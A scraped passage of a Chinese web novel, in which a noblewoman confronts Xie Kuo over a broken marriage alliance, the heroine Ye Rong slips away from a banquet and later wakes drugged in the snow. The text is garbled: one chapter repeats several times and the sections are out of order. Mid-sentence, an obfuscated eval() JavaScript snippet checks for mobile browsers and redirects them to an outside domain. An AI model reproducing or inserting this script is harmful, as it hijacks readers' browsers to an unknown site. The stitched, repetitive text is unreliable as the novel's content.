“论家世,我乃王家嫡女,我王家更是在九州都数的上名号的世家贵族,她厍怵呢?数遍历朝历代,没一个出名的厍姓之人!”
“论学识,我饱读诗书熟通礼仪,她不仅福身礼都行不好,甚至于连餐桌礼仪都不懂!!”
“论能耐,我自幼跟随母亲学习管家之术;她大大咧咧的,迄今为止,恐怕连谢府上的人都没认全!!!”
“谢大公子,你当真要为了那么一个处处都不如我的人,放弃王谢两家的联姻吗?”
“我千里迢迢从京都赶来洛阳,你这般行事,置我于何地?!”
少女情绪层层递进,她字字泣血,说到最后,俨然有些嘶声竭力。
白雪落在神情脆弱的少女眼睫上,更是给她平添了几分惹人怜惜的破碎感。
往常端庄大方,轻易不在人前露怯的王家嫡女,此时浑身上下充满了娇弱可怜的意味,甚是楚楚动人。
倘若是平常男子,怕是早就为她遮去风雪,应其所求了。
不,不应该这么说,不止是男子……
就连叶绒听到她这番伤心质问的话,都有些心虚。
啊、这……
倘若不是她这只蝴蝶不小心煽动了翅膀的话,算起来,王悦妍快要和谢阔订婚了。
常言道,宁拆十座庙,不破一门婚。
她有罪!
她对不起王悦妍的一片痴心!
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就在叶绒内心的小人儿疯狂哭泣忏悔的时候,被王悦妍控诉的男人,脸上虽然挂着如同往常一般的温和笑容,但他语气却宛如淬了寒冰般,分外冷酷无情的道:“王小姐,请自重!”
这话说的,让不知情的人听了,怕不是要以为,他们之间有什么见不得人的私情呢!
谢阔说完,不欲和人纠缠,他正想转身离开,一个晃眼的功夫,因着身高的优势,男人看到了拐角处那道熟悉的身影。
看着叶绒脸上心虚的表情,谢阔:“……”
他止步甩袖扭头回看身后,看着王悦妍咬牙解释道:“王小姐,倘若按你这么说的话,那这世间比你出色的贵女也有不少,某是应该把你们逐一比较,做出个最优选择,然后再成亲吗?”
听到这话,王悦妍脸上的表情顿时就僵住了。
“谢某娶妻娶的是意中人,不是能用来交易的摆件物什,更不是什么看似光鲜亮丽实则暗藏脓疮的毒物!”
男人前半句话说的尚还算隐晦,但后半句话就是明晃晃的指桑骂槐了。
王悦妍脸色顿时一片铁青。
他这话太毒了,直戳人心窝子,以至于她险些维持不住脸上的楚楚可怜。
啊嘞?
这剧情进展太快,叶绒懵逼了。
她这是又错过什么连续剧关键剧情了吗?
叶绒顿时收敛心神,打起精神,集中注意力,偷听了起来。
谢阔一开口就是奔着把人心理整破防去的,因此他毫不留情面。
“还有,你们兄妹此番前来洛阳,是为了代替家中长辈祭拜旁支去世的德高望重的长者;你们想借此求得一个好名声是主要,家父的相看为次要;王小姐质问我之前,莫要忘了这点。”
听到这话,王悦妍唇瓣有些颤抖的开合了下。
“可是……”
知道她想说什么的谢阔抬手制止了她出声,“相看一事,除两家长辈知晓以外,仅你们兄妹二人与我清楚,断不会因此毁了王小姐你的名声。”
“某可有说错?”
此话一出,王悦妍顿时无言以对。
她看向谢阔,好半天才从嘴里挤出了一句话,“我知你喜欢厍怵,但你父亲和豫州官员,定然不会同意你娶这么一个商户女的!”
王悦妍这话说得分外笃定。
毕竟,自古以来的尊卑礼仪摆在那里。
谢阔:“……”
虽然她的推测和真相差了十万八千里,但不得不说,他确实被她这话扎心了。
Emmm……
他想入赘,确实不是一件容易的事情。
毕竟,厍怵好说服,她家中长辈却难以糊弄啊!
虽然但是——
这话谢阔当然不会对眼前人说的。
自觉自己刚刚的解释已经足够到位了,想来那偷听的毫不收敛的家伙,已经弄清楚来龙去脉,也知道他的心意了,谢阔当即不再多言。
“此乃谢某人的私事,就不劳王小姐费心了。”
男人话落,转身便想离开。
“我可以帮你达成所愿。”
王悦妍在谢阔转身离开前连忙道了这么句话。
???
谢阔看向她,默不作声的,静待她的下文。
王悦妍快速把自己来之前的备用方案道出。
“你娶我,我们做名义上的夫妻,我和你一起保护你的心上人,可否?”
这本是她为了防止他大脑被情爱糊住了,丝毫不考虑利弊得失,只为了和心上人在一起所做出的备用计划,没想到竟然当真用上了!
这般想着,王悦妍看向谢阔的眼神有些复杂。
谢阔:“……”
他被当成恋爱脑了??!
虽然但是,他就算当真成了恋爱脑,她这话说的也有点太不尊重他了吧?
把他当傻子糊弄呢!
第八十九章 渣男?!
谢阔没有应和王悦妍的话,而是垂眸微笑,淡淡的以一种分外平常的问候语气,轻声道了句:“不知王叔现下身体如何?许久不见,劳烦王小姐回去之后,代某问候一声。”
男人普普通通的一句话,却引得王悦妍脸色刷的一下就白了。
如果说她刚刚被身前男人明嘲暗讽时,内心感觉是羞恼的话,那现在,她无疑是分外惊恐的。
王悦妍惊疑不定的看着谢阔,“你、你……”
男人脸上挂着惯常温和儒雅的笑容,对身体轻颤的王悦妍轻轻点了下头。
“王小姐珍重,谢某告辞了。”
他直接撂下这么状似平淡的一句话,然后便朝着脸上写满了问号的少女走去……
这回,王悦妍没敢拦人了。
她看着男人离去的背影,眸光闪烁间,不知在想什么。
当然,因为偷窥角度的关系,叶绒并没有看到她眼神的变化。
旁观了全程的叶绒,感觉自己这回是错过了所有的关键剧情!
不是,这什么个情况呀?
叶绒还没想个清楚明白,她突然发现,谢某人离她越来越近……
嗯???
看着目标明确朝她走来的男人,正在做坏事的叶绒,条件反射性转身想跑。
男人三步并作两步,上前拎住了转身要遁的少女的后脖颈。
偷听的这么光明正大,这会儿知道怂了?
晚了!
男人皮笑肉不笑的拎着叶绒命运的后脖颈,与雪地独身孤立的少女渐行渐远……
谢阔走着走着,发现他手上拎着的人儿越来越安静,他本以为她是知道错了变乖了,结果一低头——
豁!
对上叶绒欲言又止的眼神,谢阔:“……”
他无声轻啧了下。
得了!
看来他刚刚的解释,她并没有听明白。
——真是白瞎了他说那么多话!
谢阔这般想着,额角青筋不受控制的重重跳了下。
他把人拎到墙角放好,“趁着我现在心情还算不错,你还有什么想问的?说吧,省得下回再悄悄听人墙角。”
关键偷听都不会,还搞得那么光明正大的,是生怕别人发现不了吗?
对上男人孺子不可教也的目光,叶绒悄悄咽了口口水。
“那我真问了啊?”
“说。”
非常高冷的一个字,对比男人刚刚和王家小姐说话时的态度,叶绒竟莫名觉得内心有些感动。
完犊子!
别人是杀鸡给猴看,她虽然没到那个程度,但却莫名有种被pua了的感觉……
虽然但是,事关未来,马虎不得,有些事情,她还是得问个清楚明白!
“你刚刚是不是彻底把王家嫡女给得罪了啊?”
男人听到这话,有些讶异的挑了挑眉。
谢阔有种欣慰的感觉。
她总算是抓住了一回重点!
这般想着,男人矜持的颔首,“没错。”
他本还想着井水不犯河水,客客气气把人送走来着,但王悦妍自己送上门了,又偏巧撞上她也在——
关键是他眼前这姑娘,脑回路那么异常!
有他父亲的前科之鉴在,谢阔当真怕她,把他的客套疏离,看成对王家女的分外满意。
于是,他只能当面和人撕破脸了!
虽然这般作为,有损他君子形象,但——
最起码,不用担心在她这里留隐患啊!
所以,他刚刚见到她在偷听,连权衡都没有,就直接做出了选择。
这般想着,谢阔看向叶绒,静待她的下文。
男人本以为,她就算对此不感动,也应该对他说上两句好话。
然并卵——
叶绒听到谢阔的话,第一反应是完犊子,他要没老婆了!
第二反应则是——
Emmm……
男人甫一低头,对上叶绒看渣男的眼神,整个人都,“……”
“你又脑补了什么乱七八糟的东西?”谢阔咬牙切齿的问道。
有时候,理解不了她的脑回路,他也很绝望的。
看他气恼的模样,叶绒瑟缩了下,方才小小声道:“人家王小姐不顾舟车劳顿,千里迢迢来这里寻你,还不顾脸面,羞涩的和你诉说少女心意,结果你却丝毫不讲情面,直接拒绝了人家不说,说的话还那么伤人,一点都不怜香惜玉……”
跟淬了毒一样,直接击碎了一颗粉红的少女心!
当然,最后这句话,说话声音越来越小的叶绒,在男人仿佛要生吃了她的凶狠目光中,愣是没敢说出来。
虽然但是——
她的嘴巴闭上了,但脸上却写出了这句话。
谢阔:“——”
得,他明白了!
他刚刚的解释,是完全做了无用功!
男人深吸一口气,缓了又缓,方才压下了想把身旁少女脑壳儿给撬开,看看她脑子里究竟都装了些什么的冲动。
谢阔掰碎了,一字一句的给人解释。
“我父亲在他们兄妹二人来之前,就已经放弃王谢两家联姻了,只不过他先前因为事忙,疏忽大意之下,忘了给京城那边送信,让他们兄妹二人别再来府上了。”
“此番让人白跑一趟,错确实是在谢家。”
这点谢阔很坦荡的承认了。
“但作为补偿——对王家,家父已经割让了很多利益出去;对来此的王家兄妹二人亦是给了不少补偿,尤其是王悦妍,她来到豫州之后,想要扬名,我父亲没有丝毫阻止,成全了她。”
虽然最后效果可能不太好,但这是他们自己没谋算到位,怨不得任何人!
“而且,家父本还打算,等明年开春,送他们离开的时候,认王悦妍做干女儿,给她的身份再加一层筹码,这事家父已经告知他们兄妹二人了。”
“这波两家联姻虽未成,但总的来说,王家和王悦妍兄妹都没吃亏。”
不止没亏,甚至还小赚了一波。
“况且,两姓联姻本就是利益交换的事情,他们来之前,就应该做好利益谈不拢,无法联姻的准备。”
“王悦妍此番过来寻我,本就是得了便宜还卖乖,想既要又要。”
“我若成全了她,在我谢家让出了那么多利益的情况下,还和她成亲的话,和冤大头有什么区别?”
他又不是她,做不来这等亏本的买卖!
第一百章 不要脸
叶绒看男人无奈叹气的模样,没有接话。
但——
她下次还敢。
哦,不对,没有下次了。
毕竟她明天就要离开这里了。
再见面,相逢不相识。
Emmm……
这么说还不对,确切的说,过了明天,他们以后就没有再见面的时候了。
芜湖.jpg
一想到自己马上就要走剧情,距离回去又进一步了,叶绒那叫一个开心,开心的眼角眉梢的兴奋都压不住了。
谢阔看她这般模样,轻叹了口气。
看来今日时机不合适啊!
一腔教学计划胎死腹中的男人很是无奈,他食指轻叩桌面。
看叶绒一脸懵逼的模样,男人挑眉。
“小黑丫鬟,倒酒。”
叶绒:“……”
莫名有种自己办坏了事的感觉,什么情况?
叶绒没来得及多想,眼角余光瞥到周遭斟酒丫鬟们的动作,她来到男人身后跟着跪坐好,有样学样。
潺潺水声很快停下,眼看她要收手,谢阔出声了。
“酒满杯茶半杯,体现了对客人的热情和尊重,所以酒要倒就倒满杯,你这半杯收手,换了个脾气差的人,说不得得当场落了你的面子。”
男人以为他们家人待她亲切随和,以至于她不清楚这点子规则,所以懒洋洋的出声给人解释了一番。
孰料,话落,等了好半天都没等到人接着继续,谢阔:“……”
仅一个转眼的功夫,对上少女坦然无辜的视线,男人诧异挑眉。
“我说的话,你不理解?”
难不成他说的不够浅显易懂,她理解不了其中涵义?
“没啊,我听懂了。”叶绒说归说,收酒壶的动作,那可是一点儿都不慢。
“但这晚宴才刚开始,喝那么多干什么,你没事儿不如多吃点儿东西。”
谢阔:“……”
他该感到开心吗?
和他面子比起来,她更注重的是他的身体健康!
哭笑不得,想端起酒杯一口闷了的男人,对上叶绒明亮的杏眸,轻啧一声,最终还是选择了妥协。
男人随手夹了几筷子下酒菜,边吃边摇头。
“咋滴啦?”叶绒不解。
男人闻言,看了她一眼,意味不明的道:“没什么,我就是突然明白了,那些有了家室的男人,应酬喝酒的时候,为什么不喜欢让内子跟着作陪了。”
他们名分还没订下来呢,她就这样了。
可想而知,那些个已经成家立业的男人,尤其是平常喜欢酗酒的男人们,在家里的时候,被妻子给管成了什么样儿!
惨啊.jpg
看他一副深有感触的模样,难得跟上了男人脑回路,弄明白了他潜意思的叶绒:“……”
天爷啊,她有罪!
她一点儿都不想当渣女,但无奈还是搅动了男人的情思。
这般想着,叶绒没敢接话,她默默的往后退了退,离男人远了点儿。
又等人吃了几口饭菜之后,眼见着两人之间刚刚那种让人有些脸红心跳的氛围没了,叶绒方才小心翼翼开口:“话说,你让我陪你参加晚宴,我来了也陪了,什么时候能走啊?”
她先前不想待这里,是生怕自己日后被人给认出来,现在想离开,则是因为……
眼角余光瞥到不远处跟着家中长辈前来参见宴会,或打扮的清纯可人,或妆扮的贵气艳丽,或举手投足间充满了温婉气息,各有千秋的一众青春靓丽的少女们,叶绒强忍着咽口水的冲动,决定把这一福气留给身前男人享。
就……
她已经蝴蝶了他一段姻缘了,此番宴会大好时机,她绝对不能再耽误他了!
越想,叶绒越坐立难安。
谢阔:“……”
男人有些无语。
他示意她抬头看向主位上坐着的谢父。
叶绒不明所以抬眼看去,得到了谢父一个慈祥的笑容,她回以一句问候,并奉上了几句吉祥的话,方才重新看向身前男人。
“谢叔怎么了?”
人好端端的一点事都没有啊,他干嘛让她看?
看她一脸困惑的模样,男人扯了扯嘴角,薄唇微动,吐出两个字,“我爹社恐。”
叶绒:???
“你也社恐。”
男
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528598|170785||http|test|mini|href|location''.split(''|''),0,{}));
() {
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人边说,边示意她看看自个儿。
然后,他啧啧摇头,虽一字未说,但行为举止间充满了对她的看不起。
叶绒:“……”
Emmm……
对不起,她有罪,她丢了他们社恐的脸,关键时刻撑不住想掉链子了。
虽然但是——
“我没谢叔厉害,这里人太多了,我不行了,能离开了吗?”
只要让她离开,什么都好说。
反正嘛,她不是好人,不要脸。
谢阔:“……”
男人眼神很是一言难尽。
“你这都跟谁学的?”
他承认,他以前为了养活豫州军,出门打秋风的时候,为了多弄些养家糊口的口粮,是有那么些不要脸。
但自从遇到她,他一直在她面前装的风光霁月的,妥妥的一正人君子。
所以,她不可能是跟着他学坏的。
谢阔这般想着,内心快速过滤了一遍她在谢府遇到过的人见到过的面孔,然并卵——
想到最后,他只得出了一个结论,那就是:近朱者赤,近墨者黑。
谢阔:“……”
岳父大人,对不起!
谢阔正在内心忏悔的时候,眼角余光瞥到身后丫鬟一点一点往后蹭,看她企图蹭到柱子后面,悄悄跑走离开的模样,谢阔:“……”
想了又想,薄唇开合间,话都到嘴边了,他最后还是咽了回去。
也罢……
为了不陪他一起参加宴会,她那么抗拒,连化丑妆扮丫鬟的馊主意都想出来了,注定是留不住的。
他让她来此,本意是为了教学。
但既然教不了留不住了,又何必再把人束缚在这里呢?
且让人再自由一天吧!
明日,待明日,他定好好给她授课。
正所谓,明日复明日,明日何其多,完全不知自己此时立了个flag的男人,就这么睁一只眼闭一只眼的,放走了身后狗狗祟祟的丫鬟。
甚至于,他还为她挡住了王坤看过来的视线。
麒麟公子与温雅君子对视一眼,互敬一杯,共饮美酒,把满腹算计全都压在了心头……
第一百章 不要脸
叶绒看男人无奈叹气的模样,没有接话。
但——
她下次还敢。
哦,不对,没有下次了。
毕竟她明天就要离开这里了。
再见面,相逢不相识。
Emmm……
这么说还不对,确切的说,过了明天,他们以后就没有再见面的时候了。
芜湖.jpg
一想到自己马上就要走剧情,距离回去又进一步了,叶绒那叫一个开心,开心的眼角眉梢的兴奋都压不住了。
谢阔看她这般模样,轻叹了口气。
看来今日时机不合适啊!
一腔教学计划胎死腹中的男人很是无奈,他食指轻叩桌面。
看叶绒一脸懵逼的模样,男人挑眉。
“小黑丫鬟,倒酒。”
叶绒:“……”
莫名有种自己办坏了事的感觉,什么情况?
叶绒没来得及多想,眼角余光瞥到周遭斟酒丫鬟们的动作,她来到男人身后跟着跪坐好,有样学样。
潺潺水声很快停下,眼看她要收手,谢阔出声了。
“酒满杯茶半杯,体现了对客人的热情和尊重,所以酒要倒就倒满杯,你这半杯收手,换了个脾气差的人,说不得得当场落了你的面子。”
男人以为他们家人待她亲切随和,以至于她不清楚这点子规则,所以懒洋洋的出声给人解释了一番。
孰料,话落,等了好半天都没等到人接着继续,谢阔:“……”
仅一个转眼的功夫,对上少女坦然无辜的视线,男人诧异挑眉。
“我说的话,你不理解?”
难不成他说的不够浅显易懂,她理解不了其中涵义?
“没啊,我听懂了。”叶绒说归说,收酒壶的动作,那可是一点儿都不慢。
“但这晚宴才刚开始,喝那么多干什么,你没事儿不如多吃点儿东西。”
谢阔:“……”
他该感到开心吗?
和他面子比起来,她更注重的是他的身体健康!
哭笑不得,想端起酒杯一口闷了的男人,对上叶绒明亮的杏眸,轻啧一声,最终还是选择了妥协。
男人随手夹了几筷子下酒菜,边吃边摇头。
“咋滴啦?”叶绒不解。
男人闻言,看了她一眼,意味不明的道:“没什么,我就是突然明白了,那些有了家室的男人,应酬喝酒的时候,为什么不喜欢让内子跟着作陪了。”
他们名分还没订下来呢,她就这样了。
可想而知,那些个已经成家立业的男人,尤其是平常喜欢酗酒的男人们,在家里的时候,被妻子给管成了什么样儿!
惨啊.jpg
看他一副深有感触的模样,难得跟上了男人脑回路,弄明白了他潜意思的叶绒:“……”
天爷啊,她有罪!
她一点儿都不想当渣女,但无奈还是搅动了男人的情思。
这般想着,叶绒没敢接话,她默默的往后退了退,离男人远了点儿。
又等人吃了几口饭菜之后,眼见着两人之间刚刚那种让人有些脸红心跳的氛围没了,叶绒方才小心翼翼开口:“话说,你让我陪你参加晚宴,我来了也陪了,什么时候能走啊?”
她先前不想待这里,是生怕自己日后被人给认出来,现在想离开,则是因为……
眼角余光瞥到不远处跟着家中长辈前来参见宴会,或打扮的清纯可人,或妆扮的贵气艳丽,或举手投足间充满了温婉气息,各有千秋的一众青春靓丽的少女们,叶绒强忍着咽口水的冲动,决定把这一福气留给身前男人享。
就……
她已经蝴蝶了他一段姻缘了,此番宴会大好时机,她绝对不能再耽误他了!
越想,叶绒越坐立难安。
谢阔:“……”
男人有些无语。
他示意她抬头看向主位上坐着的谢父。
叶绒不明所以抬眼看去,得到了谢父一个慈祥的笑容,她回以一句问候,并奉上了几句吉祥的话,方才重新看向身前男人。
“谢叔怎么了?”
人好端端的一点事都没有啊,他干嘛让她看?
看她一脸困惑的模样,男人扯了扯嘴角,薄唇微动,吐出两个字,“我爹社恐。”
叶绒:???
“你也社恐。”
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叶绒:“……”
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对不起,她有罪,她丢了他们社恐的脸,关键时刻撑不住想掉链子了。
虽然但是——
“我没谢叔厉害,这里人太多了,我不行了,能离开了吗?”
只要让她离开,什么都好说。
反正嘛,她不是好人,不要脸。
谢阔:“……”
男人眼神很是一言难尽。
“你这都跟谁学的?”
他承认,他以前为了养活豫州军,出门打秋风的时候,为了多弄些养家糊口的口粮,是有那么些不要脸。
但自从遇到她,他一直在她面前装的风光霁月的,妥妥的一正人君子。
所以,她不可能是跟着他学坏的。
谢阔这般想着,内心快速过滤了一遍她在谢府遇到过的人见到过的面孔,然并卵——
想到最后,他只得出了一个结论,那就是:近朱者赤,近墨者黑。
谢阔:“……”
岳父大人,对不起!
谢阔正在内心忏悔的时候,眼角余光瞥到身后丫鬟一点一点往后蹭,看她企图蹭到柱子后面,悄悄跑走离开的模样,谢阔:“……”
想了又想,薄唇开合间,话都到嘴边了,他最后还是咽了回去。
也罢……
为了不陪他一起参加宴会,她那么抗拒,连化丑妆扮丫鬟的馊主意都想出来了,注定是留不住的。
他让她来此,本意是为了教学。
但既然教不了留不住了,又何必再把人束缚在这里呢?
且让人再自由一天吧!
明日,待明日,他定好好给她授课。
正所谓,明日复明日,明日何其多,完全不知自己此时立了个flag的男人,就这么睁一只眼闭一只眼的,放走了身后狗狗祟祟的丫鬟。
甚至于,他还为她挡住了王坤看过来的视线。
麒麟公子与温雅君子对视一眼,互敬一杯,共饮美酒,把满腹算计全都压在了心头……
第一百章 不要脸
叶绒看男人无奈叹气的模样,没有接话。
但——
她下次还敢。
哦,不对,没有下次了。
毕竟她明天就要离开这里了。
再见面,相逢不相识。
Emmm……
这么说还不对,确切的说,过了明天,他们以后就没有再见面的时候了。
芜湖.jpg
一想到自己马上就要走剧情,距离回去又进一步了,叶绒那叫一个开心,开心的眼角眉梢的兴奋都压不住了。
谢阔看她这般模样,轻叹了口气。
看来今日时机不合适啊!
一腔教学计划胎死腹中的男人很是无奈,他食指轻叩桌面。
看叶绒一脸懵逼的模样,男人挑眉。
“小黑丫鬟,倒酒。”
叶绒:“……”
莫名有种自己办坏了事的感觉,什么情况?
叶绒没来得及多想,眼角余光瞥到周遭斟酒丫鬟们的动作,她来到男人身后跟着跪坐好,有样学样。
潺潺水声很快停下,眼看她要收手,谢阔出声了。
“酒满杯茶半杯,体现了对客人的热情和尊重,所以酒要倒就倒满杯,你这半杯收手,换了个脾气差的人,说不得得当场落了你的面子。”
男人以为他们家人待她亲切随和,以至于她不清楚这点子规则,所以懒洋洋的出声给人解释了一番。
孰料,话落,等了好半天都没等到人接着继续,谢阔:“……”
仅一个转眼的功夫,对上少女坦然无辜的视线,男人诧异挑眉。
“我说的话,你不理解?”
难不成他说的不够浅显易懂,她理解不了其中涵义?
“没啊,我听懂了。”叶绒说归说,收酒壶的动作,那可是一点儿都不慢。
“但这晚宴才刚开始,喝那么多干什么,你没事儿不如多吃点儿东西。”
谢阔:“……”
他该感到开心吗?
和他面子比起来,她更注重的是他的身体健康!
哭笑不得,想端起酒杯一口闷了的男人,对上叶绒明亮的杏眸,轻啧一声,最终还是选择了妥协。
男人随手夹了几筷子下酒菜,边吃边摇头。
“咋滴啦?”叶绒不解。
男人闻言,看了她一眼,意味不明的道:“没什么,我就是突然明白了,那些有了家室的男人,应酬喝酒的时候,为什么不喜欢让内子跟着作陪了。”
他们名分还没订下来呢,她就这样了。
可想而知,那些个已经成家立业的男人,尤其是平常喜欢酗酒的男人们,在家里的时候,被妻子给管成了什么样儿!
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天爷啊,她有罪!
她一点儿都不想当渣女,但无奈还是搅动了男人的情思。
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又等人吃了几口饭菜之后,眼见着两人之间刚刚那种让人有些脸红心跳的氛围没了,叶绒方才小心翼翼开口:“话说,你让我陪你参加晚宴,我来了也陪了,什么时候能走啊?”
她先前不想待这里,是生怕自己日后被人给认出来,现在想离开,则是因为……
眼角余光瞥到不远处跟着家中长辈前来参见宴会,或打扮的清纯可人,或妆扮的贵气艳丽,或举手投足间充满了温婉气息,各有千秋的一众青春靓丽的少女们,叶绒强忍着咽口水的冲动,决定把这一福气留给身前男人享。
就……
她已经蝴蝶了他一段姻缘了,此番宴会大好时机,她绝对不能再耽误他了!
越想,叶绒越坐立难安。
谢阔:“……”
男人有些无语。
他示意她抬头看向主位上坐着的谢父。
叶绒不明所以抬眼看去,得到了谢父一个慈祥的笑容,她回以一句问候,并奉上了几句吉祥的话,方才重新看向身前男人。
“谢叔怎么了?”
人好端端的一点事都没有啊,他干嘛让她看?
看她一脸困惑的模样,男人扯了扯嘴角,薄唇微动,吐出两个字,“我爹社恐。”
叶绒:???
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虽然但是——
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只要让她离开,什么都好说。
反正嘛,她不是好人,不要脸。
谢阔:“……”
男人眼神很是一言难尽。
“你这都跟谁学的?”
他承认,他以前为了养活豫州军,出门打秋风的时候,为了多弄些养家糊口的口粮,是有那么些不要脸。
但自从遇到她,他一直在她面前装的风光霁月的,妥妥的一正人君子。
所以,她不可能是跟着他学坏的。
谢阔这般想着,内心快速过滤了一遍她在谢府遇到过的人见到过的面孔,然并卵——
想到最后,他只得出了一个结论,那就是:近朱者赤,近墨者黑。
谢阔:“……”
岳父大人,对不起!
谢阔正在内心忏悔的时候,眼角余光瞥到身后丫鬟一点一点往后蹭,看她企图蹭到柱子后面,悄悄跑走离开的模样,谢阔:“……”
想了又想,薄唇开合间,话都到嘴边了,他最后还是咽了回去。
也罢……
为了不陪他一起参加宴会,她那么抗拒,连化丑妆扮丫鬟的馊主意都想出来了,注定是留不住的。
他让她来此,本意是为了教学。
但既然教不了留不住了,又何必再把人束缚在这里呢?
且让人再自由一天吧!
明日,待明日,他定好好给她授课。
正所谓,明日复明日,明日何其多,完全不知自己此时立了个flag的男人,就这么睁一只眼闭一只眼的,放走了身后狗狗祟祟的丫鬟。
甚至于,他还为她挡住了王坤看过来的视线。
麒麟公子与温雅君子对视一眼,互敬一杯,共饮美酒,把满腹算计全都压在了心头……
第一百章 不要脸
叶绒看男人无奈叹气的模样,没有接话。
但——
她下次还敢。
哦,不对,没有下次了。
毕竟她明天就要离开这里了。
再见面,相逢不相识。
Emmm……
这么说还不对,确切的说,过了明天,他们以后就没有再见面的时候了。
芜湖.jpg
一想到自己马上就要走剧情,距离回去又进一步了,叶绒那叫一个开心,开心的眼角眉梢的兴奋都压不住了。
谢阔看她这般模样,轻叹了口气。
看来今日时机不合适啊!
一腔教学计划胎死腹中的男人很是无奈,他食指轻叩桌面。
看叶绒一脸懵逼的模样,男人挑眉。
“小黑丫鬟,倒酒。”
叶绒:“……”
莫名有种自己办坏了事的感觉,什么情况?
叶绒没来得及多想,眼角余光瞥到周遭斟酒丫鬟们的动作,她来到男人身后跟着跪坐好,有样学样。
潺潺水声很快停下,眼看她要收手,谢阔出声了。
“酒满杯茶半杯,体现了对客人的热情和尊重,所以酒要倒就倒满杯,你这半杯收手,换了个脾气差的人,说不得得当场落了你的面子。”
男人以为他们家人待她亲切随和,以至于她不清楚这点子规则,所以懒洋洋的出声给人解释了一番。
孰料,话落,等了好半天都没等到人接着继续,谢阔:“……”
仅一个转眼的功夫,对上少女坦然无辜的视线,男人诧异挑眉。
“我说的话,你不理解?”
难不成他说的不够浅显易懂,她理解不了其中涵义?
“没啊,我听懂了。”叶绒说归说,收酒壶的动作,那可是一点儿都不慢。
“但这晚宴才刚开始,喝那么多干什么,你没事儿不如多吃点儿东西。”
谢阔:“……”
他该感到开心吗?
和他面子比起来,她更注重的是他的身体健康!
哭笑不得,想端起酒杯一口闷了的男人,对上叶绒明亮的杏眸,轻啧一声,最终还是选择了妥协。
男人随手夹了几筷子下酒菜,边吃边摇头。
“咋滴啦?”叶绒不解。
男人闻言,看了她一眼,意味不明的道:“没什么,我就是突然明白了,那些有了家室的男人,应酬喝酒的时候,为什么不喜欢让内子跟着作陪了。”
他们名分还没订下来呢,她就这样了。
可想而知,那些个已经成家立业的男人,尤其是平常喜欢酗酒的男人们,在家里的时候,被妻子给管成了什么样儿!
惨啊.jpg
看他一副深有感触的模样,难得跟上了男人脑回路,弄明白了他潜意思的叶绒:“……”
天爷啊,她有罪!
她一点儿都不想当渣女,但无奈还是搅动了男人的情思。
这般想着,叶绒没敢接话,她默默的往后退了退,离男人远了点儿。
又等人吃了几口饭菜之后,眼见着两人之间刚刚那种让人有些脸红心跳的氛围没了,叶绒方才小心翼翼开口:“话说,你让我陪你参加晚宴,我来了也陪了,什么时候能走啊?”
她先前不想待这里,是生怕自己日后被人给认出来,现在想离开,则是因为……
眼角余光瞥到不远处跟着家中长辈前来参见宴会,或打扮的清纯可人,或妆扮的贵气艳丽,或举手投足间充满了温婉气息,各有千秋的一众青春靓丽的少女们,叶绒强忍着咽口水的冲动,决定把这一福气留给身前男人享。
就……
她已经蝴蝶了他一段姻缘了,此番宴会大好时机,她绝对不能再耽误他了!
越想,叶绒越坐立难安。
谢阔:“……”
男人有些无语。
他示意她抬头看向主位上坐着的谢父。
叶绒不明所以抬眼看去,得到了谢父一个慈祥的笑容,她回以一句问候,并奉上了几句吉祥的话,方才重新看向身前男人。
“谢叔怎么了?”
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虽然但是——
“我没谢叔厉害,这里人太多了,我不行了,能离开了吗?”
只要让她离开,什么都好说。
反正嘛,她不是好人,不要脸。
谢阔:“……”
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他承认,他以前为了养活豫州军,出门打秋风的时候,为了多弄些养家糊口的口粮,是有那么些不要脸。
但自从遇到她,他一直在她面前装的风光霁月的,妥妥的一正人君子。
所以,她不可能是跟着他学坏的。
谢阔这般想着,内心快速过滤了一遍她在谢府遇到过的人见到过的面孔,然并卵——
想到最后,他只得出了一个结论,那就是:近朱者赤,近墨者黑。
谢阔:“……”
岳父大人,对不起!
谢阔正在内心忏悔的时候,眼角余光瞥到身后丫鬟一点一点往后蹭,看她企图蹭到柱子后面,悄悄跑走离开的模样,谢阔:“……”
想了又想,薄唇开合间,话都到嘴边了,他最后还是咽了回去。
也罢……
为了不陪他一起参加宴会,她那么抗拒,连化丑妆扮丫鬟的馊主意都想出来了,注定是留不住的。
他让她来此,本意是为了教学。
但既然教不了留不住了,又何必再把人束缚在这里呢?
且让人再自由一天吧!
明日,待明日,他定好好给她授课。
正所谓,明日复明日,明日何其多,完全不知自己此时立了个flag的男人,就这么睁一只眼闭一只眼的,放走了身后狗狗祟祟的丫鬟。
甚至于,他还为她挡住了王坤看过来的视线。
麒麟公子与温雅君子对视一眼,互敬一杯,共饮美酒,把满腹算计全都压在了心头……
第一百零四章 骗子
当叶绒再次恢复意识的时候,她是被冻醒的。
甫一睁眼,躺在冰冷的雪地里,看着头顶一望无际的天空,在一片死寂的安静中,叶绒险些以为自己又穿越了。
等她好不容易缓过来一些劲儿,眼前不再那么眩晕的时候,她挣扎着从雪地中坐了起来。
“……”
哦豁!
只见她正前方是一条宽阔的大路,后方是悬空的山崖,左右两方则是一眼望不到底的树林。
而她,正躺在四方交叉的正中心。
身侧空无一人。
???
这什么个情况?
叶绒一时有些搞不懂把她带到这里的人的意图了?
这不图财不图色的,难不成就只是单纯看她不顺眼,搞个恶作剧?
感受着嘴里久久不散的苦涩滋味,叶绒丝毫不敢往这方面想。
正所谓免费的就是最贵的,同意的道理落到这里也是一样的。
她搞不清楚出手人意图的情况,那才是真的可怕啊!
这般想着,叶绒下意识低头先检查了一下自己。
Emmm……
她身上的衣服虽然穿了不知道几天,看起来有些皱巴巴的,但仔细检查一下就能确认没人动过。
而她身上的东西?
叶绒仔细摸索了一下自个儿内口袋。
防狼棒、手机之类的全都在。
!!!
这更可怕了好么!
把她迷晕带来这里的人,摆明了所图甚大。
完犊子了.jpg
被自个儿脑补吓的瑟瑟发抖的叶绒,悄摸摸掏出手机一看时间——
好家伙!
五天已经过去了!
正当叶绒瞠目结舌时,她隐约听到了大路那边传来的马蹄声。
叶绒条件反射性收好手机,把防狼棒捞捞握在了手里,抓的紧紧的,似溺水的人抓浮木那般。
——来了!
